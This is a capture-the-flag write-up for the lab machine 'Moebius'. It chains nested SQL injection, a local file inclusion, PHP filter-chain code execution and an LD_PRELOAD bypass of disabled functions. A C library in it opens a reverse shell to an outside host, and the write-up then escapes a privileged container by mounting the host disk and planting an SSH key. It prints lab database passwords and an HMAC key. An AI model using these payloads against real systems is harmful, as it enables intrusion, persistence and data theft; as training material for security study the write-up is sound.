Moebius
A place where you start at some point, and you have to go back to it in the end.
Recon
We start with an nmap scan:
┌──(kali㉿kali)-[~]
└─$ nmap -p- moebius.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-26 11:40 IST
Nmap scan report for moebius.thm (10.10.42.28)
Host is up (0.15s latency).
rDNS record for 10.10.42.28: Moebius.thm
Not shown: 65524 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -sT -p 22,80 moebius.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-26 11:54 IST
Nmap scan report for moebius.thm (10.10.42.28)
Host is up (0.15s latency).
rDNS record for 10.10.42.28: Moebius.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Image Grid
|_http-server-header: Apache/2.4.62 (Debian)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds
There are two ports open:
22 (
SSH
)80 (
HTTP
)
When we visit http://moebius.thm/
, we're greeted with a cat-themed website that features links to /album.php
. Each link includes a short_tag
parameter, which changes based on the selected album—set to values like cute
, smart
, or fav
.


We found a QR image, but it's just a Rick Roll with a velociraptor.

Inspecting http://moebius.thm/album.php
, we observe that the images from the selected album are loaded through requests to the /image.php
endpoint, which takes hash
and path
parameters to retrieve and display the images.
Lastly, checking http://moebius.thm/image.php
with the variables set by album.php
, we simply see the image being displayed.
It appears that image.php
includes the file specified by the path
parameter. However, the hash
parameter is likely used as a form of validation—probably generated from the path
—to prevent arbitrary file inclusion. Any attempt to modify either the path
or hash
results in an "Image not found" error, indicating that both values must match in a specific way.

Initial Access
At this point, attempting to guess how the hash
is generated for a given path
doesn't seem practical. There are countless possible hashing methods, and it's highly likely that the calculation involves a secret key or salt that's not exposed to us, making brute-forcing or reverse-engineering the hash function infeasible.
Instead, revisiting album.php
and testing the short_tag
parameter with a payload like smart'
, we observe a database error—indicating that the parameter is vulnerable to SQL injection.

When attempting a basic SQL injection payload like:
smart' AND 1=1;-- -
by visiting:
http://moebius.thm/album.php?short_tag=smart' AND 1=1;-- -
we're met with an error: "Hacking attempt."
This suggests that the application includes some input validation or filtering mechanisms aimed at detecting and blocking suspicious patterns or characters commonly used in SQL injection attacks.
We can use ffuf to fuzz for special characters and identify which ones are being filtered. Through this, we discover that both the ;
and /
characters are blocked by the application.
Fortunately, this doesn't pose a significant obstacle:
The
;
character, commonly used to terminate SQL statements, is not strictly necessary in most injection payloads.The
/
character, typically used in file paths, isn’t relevant for basic SQL injection.
So, we can safely work around these restrictions by crafting payloads that avoid these characters.
SQL Injection
┌──(kali㉿kali)-[~]
└─$ ffuf -u 'http://moebius.thm/album.php?short_tag=FUZZ' -w /usr/share/seclists/Fuzzing/special-chars.txt -mr 'Hacking attempt'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://moebius.thm/album.php?short_tag=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/special-chars.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Hacking attempt
________________________________________________
; [Status: 200, Size: 268, Words: 18, Lines: 11, Duration: 163ms]
/ [Status: 200, Size: 268, Words: 18, Lines: 11, Duration: 2117ms]
:: Progress: [32/32] :: Job [1/1] :: 6 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Rather than manually enumerating the database, we can streamline the process using sqlmap. Running sqlmap against the vulnerable short_tag
parameter quickly reveals two databases:
information_schema
(the default system metadata database)web
(likely containing the application's data)
This allows us to focus our efforts on extracting relevant information from the web
database.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://moebius.thm/album.php?short_tag=smart' -p short_tag --risk 3 --level 5 --threads 10 --batch --dbs
___
__H__
___ ___[']_____ ___ ___ {1.8.6.3#dev}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:16:37 /2025-05-26/
---
.
[TRUNCATED]
.
---
[12:16:59] [INFO] fetching database names
[12:16:59] [INFO] starting 2 threads
[12:16:59] [INFO] retrieved: 'web'
[12:17:00] [INFO] retrieved: 'information_schema'
available databases [2]:
[*] information_schema
[*] web
[*] ending @ 12:17:00 /2025-05-26/
Dumping the contents of the web
database reveals two tables: images
and albums
. However, both appear to contain only standard data related to the site’s image and album functionality, with nothing immediately useful or sensitive for exploitation.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://moebius.thm/album.php?short_tag=smart' -p short_tag --risk 3 --level 5 --threads 10 --batch -D web --hex --dump
___
__H__
___ ___["]_____ ___ ___ {1.9.5.22#dev}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:24:04 /2025-05-26/
[12:24:04] [INFO] resuming back-end DBMS 'mysql'
[12:24:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
.
[TRUNCATED]
.
---
Database: web
Table: images
[16 entries]
+----+----------+----------------------------+
| id | album_id | path |
+----+----------+----------------------------+
| 1 | 1 | /var/www/images/cat1.jpg |
| 2 | 1 | /var/www/images/cat2.jpg |
| 3 | 1 | /var/www/images/cat3.jpg |
| 4 | 1 | /var/www/images/cat4.jpg |
| 5 | 1 | /var/www/images/cat5.avif |
| 6 | 2 | /var/www/images/cat6.avif |
| 7 | 2 | /var/www/images/cat7.png |
| 8 | 2 | /var/www/images/cat8.webp |
| 9 | 2 | /var/www/images/cat9.webp |
| 10 | 2 | /var/www/images/cat10.webp |
| 11 | 2 | /var/www/images/cat11.webp |
| 12 | 2 | /var/www/images/cat12.webp |
| 13 | 3 | /var/www/images/cat13.jpg |
| 14 | 3 | /var/www/images/cat14.webp |
| 15 | 3 | /var/www/images/cat15.webp |
| 16 | 3 | /var/www/images/cat16.webp |
+----+----------+----------------------------+
[12:24:07] [INFO] table 'web.images' dumped to CSV file '/home/kali/.local/share/sqlmap/output/moebius.thm/dump/web/images.csv'
---
.
[TRUNCATED]
.
---
Database: web
Table: albums
[3 entries]
+----+----------------+-----------+--------------------------+
| id | name | short_tag | description |
+----+----------------+-----------+--------------------------+
| 1 | Cute cats | cute | Cutest cats in the world |
| 2 | Smart cats | smart | So smart... |
| 3 | Favourite cats | fav | My favourite ones |
+----+----------------+-----------+--------------------------+
[*] ending @ 12:24:09 /2025-05-26/
Since we also have access to the information_schema
database, we can use sqlmap
with the --sql-query
or --sql-shell
option to craft custom SQL queries and better understand the context of the injection. Specifically, by using the --sql-shell
or the --statement
flag, we can attempt to retrieve the actual SQL query being executed behind the scenes. This helps us determine how our input is incorporated into the query, making it easier to craft effective payloads or bypass filters.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://moebius.thm/album.php?short_tag=smart' -p short_tag --risk 3 --level 5 --batch -D web --statement --hex
___
__H__
___ ___[']_____ ___ ___ {1.9.5.22#dev}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:40:38 /2025-05-26/
---
.
[TRUNCATED]
.
---
SQL statements [1]:
[*] SELECT id from albums where short_tag = 'smart' AND (SELECT 7269 FROM(SELECT COUNT(*),CONCAT(0x717a706a71,(SELECT MID((HEX(IFNULL(CAST(INFO AS NCHAR),0x20))),301,16) FROM INFORMATION_SCHEMA.PROCESSLIST),0x716b787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- fYJu'
[12:40:48] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/moebius.thm'
[*] ending @ 12:40:48 /2025-05-26/
Looking at the SQL statement SELECT id FROM albums WHERE short_tag = 'smart'
, we can see that the application is querying the albums
table to retrieve the id
associated with the album the user selects via the short_tag
parameter. This confirms that our input is directly embedded in the WHERE clause, and thus, by manipulating short_tag
, we can potentially extract or inject further data through this vulnerable query.
Nested SQL Injection
First, we know that the query we're injecting into — SELECT id FROM albums WHERE short_tag = '<short_tag>'
— is used to retrieve the album ID from the albums
table. However, by examining the output of album.php
when provided with a valid short_tag
, we can see that the page also displays image paths. This indicates that the application is not only querying the albums
table but also fetching data from the images
table, where the image paths are likely stored and linked to their corresponding album IDs.

So, it's very likely that after retrieving the album_id
using the query:
SELECT id FROM albums WHERE short_tag = '<short_tag>'
the application then uses that result in a second query, something like:
SELECT * FROM images WHERE album_id = <album_id>
If the album_id
returned from the first query is not properly sanitized before being used in the second query, this could open up another SQL injection point—this time in the second query.
Secondly, upon examining the database, we don't see any stored hashes for the images. This suggests that the application likely calculates these hashes dynamically in album.php
after fetching the image paths. If that's the case, then by injecting a custom path into the second query, we could potentially trick the application into computing the hash for a file path of our choosing. That would allow us to craft a valid request to image.php
and include arbitrary files.
We can test this hypothesis by attempting to control the output of the initial query. For example, using the payload:
test' UNION SELECT 0-- -
in the short_tag
parameter like this:
http://moebius.thm/album.php?short_tag=test' UNION SELECT 0-- -
we observe that we can influence the album_id
used in the subsequent query. This confirms that we likely have a second point of SQL injection and may be able to leverage it to include arbitrary files through the image.php
endpoint.

Now, instead of returning a static id
, we can inject a payload like:
test' UNION SELECT "0 OR 1=1-- -"-- -
This causes the first query to return a string that evaluates as a conditional statement rather than a simple integer. So the full query becomes:
SELECT id FROM albums WHERE short_tag = 'test' UNION SELECT "0 OR 1=1-- -"-- -'
If our theory is correct, this returned string—0 OR 1=1-- -
—is passed directly into the second query, resulting in something like:
SELECT * FROM images WHERE album_id = 0 OR 1=1-- -
This would cause the application to ignore the actual album_id
filter and instead retrieve all images from the images
table.
Testing this behavior confirms our assumption: all images are indeed displayed, validating both the existence of a second SQL injection point and the flow of unsanitized data between queries.

Next, we test whether we can control the path
returned by the second query using a UNION-based SQL injection.
Using the payload:
test' UNION SELECT "0 UNION SELECT 1,2,3-- -"-- -
we craft a query that injects into the short_tag
parameter and forces the application to return a custom result set. This payload results in a query like:
SELECT id FROM albums WHERE short_tag = 'test' UNION SELECT "0 UNION SELECT 1,2,3-- -"-- -'
Assuming the second query looks like:
SELECT * FROM images WHERE album_id = <result of first query>
this effectively becomes:
SELECT * FROM images WHERE album_id = 0 UNION SELECT 1, 2, 3
We observe that the third column (3
in our payload) is reflected as the path
on the page. This confirms that the third column in the result set corresponds to the image path, and we now have control over it. With this, we can begin crafting payloads to include arbitrary files via /image.php
by controlling both the path
and triggering the application to generate the correct hash
for it.

Next, we attempt to set the path
to /etc/passwd
in order to force album.php
to calculate the corresponding hash and subsequently include the file via /image.php
.
We use the following payload:
test' UNION SELECT "0 UNION SELECT 1,2,'/etc/passwd'-- -"-- -
However, this results in the "Hacking attempt" error once again. This confirms that the /
character is filtered by the application, preventing direct inclusion of file paths that contain slashes.
As a result, we'll need to explore alternative bypass techniques—such as encoding the path, using directory traversal tricks, or leveraging symbolic links—if we want to work around this restriction.
However, this isn't actually an issue, as we can easily bypass the filter by hex-encoding the /etc/passwd
path. Using the following payload:
test' UNION SELECT "0 UNION SELECT 1,2,0x2f6574632f706173737764-- -"-- -
we successfully avoid the filter. The application processes the request, and we receive the calculated hash for /etc/passwd
as:
9fa6eacac1714e10527da6f9cf8570e46a5747d9ace37f4f9e963f990429310d
This confirms that we can include arbitrary files by providing their hex-encoded paths.

Now, by visiting:
http://moebius.thm/image.php?hash=9fa6eacac1714e10527da6f9cf8570e46a5747d9ace37f4f9e963f990429310d&path=/etc/passwd
we confirm that the /etc/passwd
file is successfully included and its contents are displayed, proving that the file inclusion vulnerability is working as intended.

At this stage, since we have the ability to include arbitrary files, one possible approach would be to attempt log poisoning in order to escalate the LFI (Local File Inclusion) to RCE (Remote Code Execution). However, after some investigation, we are unable to locate a suitable log file to poison.
Instead, we pivot to using a PHP wrapper, specifically:
php://filter/convert.base64-encode/resource=
This allows us to read and enumerate source code from application files in base64 format.
As a first step, we target album.php
. We convert the string:
php://filter/convert.base64-encode/resource=album.php
into its hexadecimal representation:
7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d616c62756d2e706870
And then craft the following payload to use in the path parameter:
test' UNION SELECT "0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d616c62756d2e706870-- -"-- -
This payload allows us to base64-encode and retrieve the contents of album.php
via the LFI vulnerability.
Using the calculated hash, we can successfully read the source code of album.php
like this:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Image Grid</title>
<link rel="stylesheet" href="/style.css"> <!-- Link to external CSS file -->
</head>
<body>
<?php
include('dbconfig.php');
try {
// Create a new PDO instance
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
// Set PDO error mode to exception
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if (preg_match('/[\/;]/', $_GET['short_tag'])) {
// If it does, terminate with an error message
die("Hacking attempt");
}
$album_id = "SELECT id from albums where short_tag = '" . $_GET['short_tag'] . "'";
$result_album = $conn->prepare($album_id);
$result_album->execute();
$r=$result_album->fetch();
$id=$r['id'];
// Fetch image IDs from the database
$sql_ids = "SELECT * FROM images where album_id=" . $id;
$stmt_path= $conn->prepare($sql_ids);
$stmt_path->execute();
// Display the album id
echo "<!-- Short tag: " . $_GET['short_tag'] . " - Album ID: " . $id . "-->\n";
// Display images in a grid
echo '<div class="grid-container">' . "\n";
foreach ($stmt_path as $row) {
// Get the image ID
$path = $row["path"];
$hash = hash_hmac('sha256', $path, $SECRET_KEY);
// Create link to image.php with image ID
echo '<div class="image-container">' . "\n";
echo '<a href="/image.php?hash='. $hash . '&path=' . $path . '">';
echo '<img src="/image.php?hash='. $hash . '&path=' . $path . '" alt="Image path: ' . $path . '">';
echo "</a>\n";
echo "</div>\n";;
}
echo "</div>\n";
} catch(PDOException $e) {
echo "Connection failed: " . $e->getMessage();
}
// Close the connection
$conn = null;
?>
</body>
</html>
Examining the source code of album.php
, we find that the application generates hashes using HMAC-SHA256:
$hash = hash_hmac('sha256', $path, $SECRET_KEY);
However, the SECRET_KEY
is not defined within album.php
itself—since it includes dbconfig.php
, it’s likely that the key is set there.
To access dbconfig.php
, we apply the same technique: hex-encode the file path and craft a new payload:
test' UNION SELECT "0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d6462636f6e6669672e706870-- -"-- -
This enables us to retrieve the hash for php://filter/convert.base64-encode/resource=dbconfig.php
.

Reading the content of dbconfig.php
gives:
<?php
// Database connection settings
$servername = "db";
$username = "web";
$password = "TAJnF6YuIot83X3g";
$dbname = "web";
$SECRET_KEY='an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW';
?>
Now that we’ve obtained the SECRET_KEY, we can generate valid HMAC-SHA256 hashes for any desired path. Here’s a straightforward Python script to automate this process:
import hmac
import hashlib
import sys
def calculate_hmac_sha256(secret_key: bytes, message: bytes) -> str:
"""
Calculate HMAC-SHA256 signature for a given message using the secret key.
Args:
secret_key (bytes): The secret key used for HMAC.
message (bytes): The message to sign.
Returns:
str: The hex-encoded HMAC-SHA256 signature.
"""
hmac_obj = hmac.new(secret_key, message, hashlib.sha256)
return hmac_obj.hexdigest()
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <path>")
sys.exit(1)
secret_key = b"an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW"
path = sys.argv[1].encode()
signature = calculate_hmac_sha256(secret_key, path)
print(f"HMAC-SHA256 Signature: {signature}")
if __name__ == "__main__":
main()
Using this script, we can quickly generate the hash for any target file. For instance, to view the source code of image.php
:
┌──(kali㉿kali)-[~/Desktop/THM]
└─$ python hash.py 'php://filter/convert.base64-encode/resource=image.php'
HMAC-SHA256 Signature: ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6
curl -s 'http://moebius.thm/image.php?hash=ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6&path=php://filter/convert.base64-encode/resource=image.php' | base64 -d
And the image.php
source code confirms that, once the hash is verified as valid, the file at the specified path is directly included without further validation:
<?php
include('dbconfig.php');
// Create a new PDO instance
// Set PDO error mode to exception
// Get the image ID from the query string
// Fetch image path from the database based on the ID
// Fetch image path
$image_path = $_GET['path'];
$hash= $_GET['hash'];
$computed_hash=hash_hmac('sha256', $image_path, $SECRET_KEY);
if ($image_path && $computed_hash === $hash) {
// Get the MIME type of the image
$image_info = @getimagesize($image_path);
if ($image_info && isset($image_info['mime'])) {
$mime_type = $image_info['mime'];
// Set the appropriate content type header
header("Content-type: $mime_type");
// Output the image data
include($image_path);
} else {
header("Content-type: application/octet-stream");
include($image_path);
}
} else {
echo "Image not found";
}
?>
To escalate the LFI vulnerability to Remote Code Execution (RCE), another effective approach—besides log poisoning—is using PHP filter chains. This technique leverages PHP's stream wrappers to construct a chain of filters that ultimately decodes into valid PHP code, effectively allowing us to include and execute arbitrary payloads.
We can generate a suitable filter chain for this purpose using the php_filter_chain_generator tool by Synacktiv. This tool constructs complex filter chains that, when included via the LFI vulnerability, result in executable PHP code being evaluated on the server.
┌──(kali㉿kali)-[~/Desktop/THM]
└─$ python ./php_filter_chain_generator.py --chain '<?=eval($_GET[0])?>'
[+] The following gadget chain will generate the following code : <?=eval($_GET[0])?> (base64 value: PD89ZXZhbCgkX0dFVFswXSk/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|.[TRUNCATED].|convert.base64-decode/resource=php://temp
To streamline the exploitation process, we can create a simple Python script that automates the generation of a valid HMAC hash and crafts a request to execute arbitrary PHP code on the target via the LFI vulnerability.
However, attempting to use the system()
function to gain remote code execution results in an error:
┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ python code.py
[*] Starting interactive RCE session...
code> system("id");
<br />
<b>Fatal error</b>: Uncaught Error: Call to undefined function system() in ... [TRUNCATED]
Reviewing the list of disabled PHP functions explains the issue — system
and many other critical functions are disabled:
code> echo ini_get('disable_functions');
exec, system, popen, proc_open, proc_nice, shell_exec, passthru, dl, pcntl_alarm, pcntl_async_signals, pcntl_errno, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_rfork, pcntl_setpriority, pcntl_signal_dispatch, pcntl_signal_get_handler, pcntl_signal, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_unshare, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig...
It appears that all major functions typically used for command execution are disabled. However, exploring bypass techniques reveals an interesting approach that leverages the putenv
and mail
functions.
This method involves using putenv
to set the LD_PRELOAD
environment variable, which allows a specified shared library to be loaded whenever a program is executed. By then invoking the mail
function, the sendmail
program is triggered, causing the shared library defined in LD_PRELOAD
to be loaded and executed. This technique may provide a way to bypass the disabled functions and achieve command execution.
First, we create a shared library source file (shell.c
) containing code to execute a reverse shell command.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
system("bash -c \"bash -i >& /dev/tcp/10.14.101.76/443 0>&1\"");
}
We compile it and send it via a simple HTTP server.
Now, using the PHP code execution to download the library onto the target:
┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ python code.py
[*] Starting interactive RCE session...
code> $ch = curl_init('http://10.17.15.155/shell.so');curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);file_put_contents('/tmp/shell.so', curl_exec($ch)); curl_close($ch);
We can see the library being downloaded from our server:
┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.42.28 - - [26/May/2025 13:46:55] "GET /shell.so HTTP/1.1" 200 -
We now set the LD_PRELOAD
environment variable to point to the shared library we uploaded using the putenv
function. Then, by invoking the mail
function, we trigger the sendmail
program to run, which in turn causes our library to be loaded and executed.
As a result, our reverse shell payload is triggered successfully, granting us a shell as the www-data
user within the container.
┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.17.15.155] from (UNKNOWN) [10.10.42.28] 33476
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bb28d5969dd5:/var/www/html$
Privilege Escalation
Inspecting the sudo privileges for the www-data
user inside the container shows that it has full root access.
www-data@bb28d5969dd5:/var/www/html$ sudo -l
Matching Defaults entries for www-data on bb28d5969dd5:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on bb28d5969dd5:
(ALL : ALL) ALL
(ALL : ALL) NOPASSWD: ALL
www-data@bb28d5969dd5:/var/www/html$
Escalating to root inside the container:
www-data@bb28d5969dd5:/var/www/html$ sudo su -
root@bb28d5969dd5:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bb28d5969dd5:~#
Next, we inspect the effective capabilities of the container:
root@bb28d5969dd5:~# grep CapEff /proc/self/status
CapEff: 000001ffffffffff
root@bb28d5969dd5:~#
Decoding this value confirms the container holds many capabilities:
┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
With these privileges, there are several ways to escape the container. One of the easiest approaches is to mount the host’s root filesystem directly, given that we have access to the host’s block devices.
root@bb28d5969dd5:~# mount /dev/nvme0n1p1 /mnt
root@bb28d5969dd5:~# cat /mnt/etc/hostname
ubuntu-jammy
root@bb28d5969dd5:~#
To leverage this filesystem access for a shell, we can add our SSH public key to the host’s /root/.ssh/authorized_keys
file. First, we generate an SSH key pair:
┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ ssh-keygen -f id_ed25519 -t ed25519
[TRUNCATED]
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC05CmtCETMseeWFrJfquo4iiDUT+zt7zhgeX26G3mN1 kali@kali
Adding the public key to /mnt/root/.ssh/authorized_keys
(which corresponds to /root/.ssh/authorized_keys
on the host):
root@bb28d5969dd5:~# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC05CmtCETMseeWFrJfquo4iiDUT+zt7zhgeX26G3mN1 kali@kali' >> /mnt/root/.ssh/authorized_keys
We can now use the private key to SSH into the host as the root user, giving us a shell and allowing us to read the user flag located at /root/user.txt
.
┌──(kali㉿kali)-[~/Desktop/THM/moebius]
└─$ ssh -i id_ed25519 root@moebius.thm
The authenticity of host 'moebius.thm (10.10.42.28)' can't be established.
ED25519 key fingerprint is SHA256:nR3FCk8BEcDXdXgQRrMRT/QnD86SYuH8x6Jc7kX7M4I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'moebius.thm' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_ed25519':
root@ubuntu-jammy:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-jammy:~# s
challenge snap user.txt
root@ubuntu-jammy:~# cat user.txt
[REDACTED]
From the dbconfig.php
file, we already knew that the database was hosted on a separate machine named db
. Examining the docker-compose.yml
file located at /root/challenge/docker-compose.yml
, we can confirm that this is indeed another container:
root@ubuntu-jammy:~/challenge# cat docker-compose.yml; echo
version: '3'
version: '3'
services:
web:
platform: linux/amd64
build: ./web
ports:
- "80:80"
restart: always
privileged: true
db:
image: mariadb:10.11.11-jammy
volumes:
- "./db:/docker-entrypoint-initdb.d:ro"
env_file:
- ./db/db.env
restart: always
root@ubuntu-jammy:~/challenge#
By checking the /root/challenge/db/db.env
file, we can obtain the root password for the MySQL server:
root@ubuntu-jammy:~/challenge# cat db/db.env; echo
MYSQL_PASSWORD=TAJnF6YuIot83X3g
MYSQL_DATABASE=web
MYSQL_USER=web
MYSQL_ROOT_PASSWORD=gG4i8NFNkcHBwUpd
root@ubuntu-jammy:~/challenge#
By listing the running containers, we can identify which one is hosting the database:
root@ubuntu-jammy:~/challenge# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
89366d62e05c mariadb:10.11.11-jammy "docker-entrypoint.s…" 2 months ago Up 3 hours 3306/tcp challenge-db-1
bb28d5969dd5 challenge-web "docker-php-entrypoi…" 2 months ago Up 3 hours 0.0.0.0:80->80/tcp, [::]:80->80/tcp challenge-web-1
root@ubuntu-jammy:~/challenge#
We can get a shell inside the database container as follows:
root@ubuntu-jammy:~/challenge# docker container exec -it 8936 bash
root@89366d62e05c:/#
Using the password found in the db.env file, we connect to the database and list the available databases. Besides the web database we already accessed, we discover another database named secret.
root@89366d62e05c:/# mysql -u root -pgG4i8NFNkcHBwUpd
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 227
Server version: 10.11.11-MariaDB-ubu2204 mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| secret |
| sys |
| web |
+--------------------+
6 rows in set (0.003 sec)
MariaDB [(none)]>
We can now get the root flag.
MariaDB [(none)]> use secret;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [secret]> show tables;
+------------------+
| Tables_in_secret |
+------------------+
| secrets |
+------------------+
1 row in set (0.000 sec)
MariaDB [secret]> select * from secrets;
+---------------------------------------+
| flag |
+---------------------------------------+
| [REDACTED] |
+---------------------------------------+
1 row in set (0.000 sec)
MariaDB [secret]>
Last updated
Was this helpful?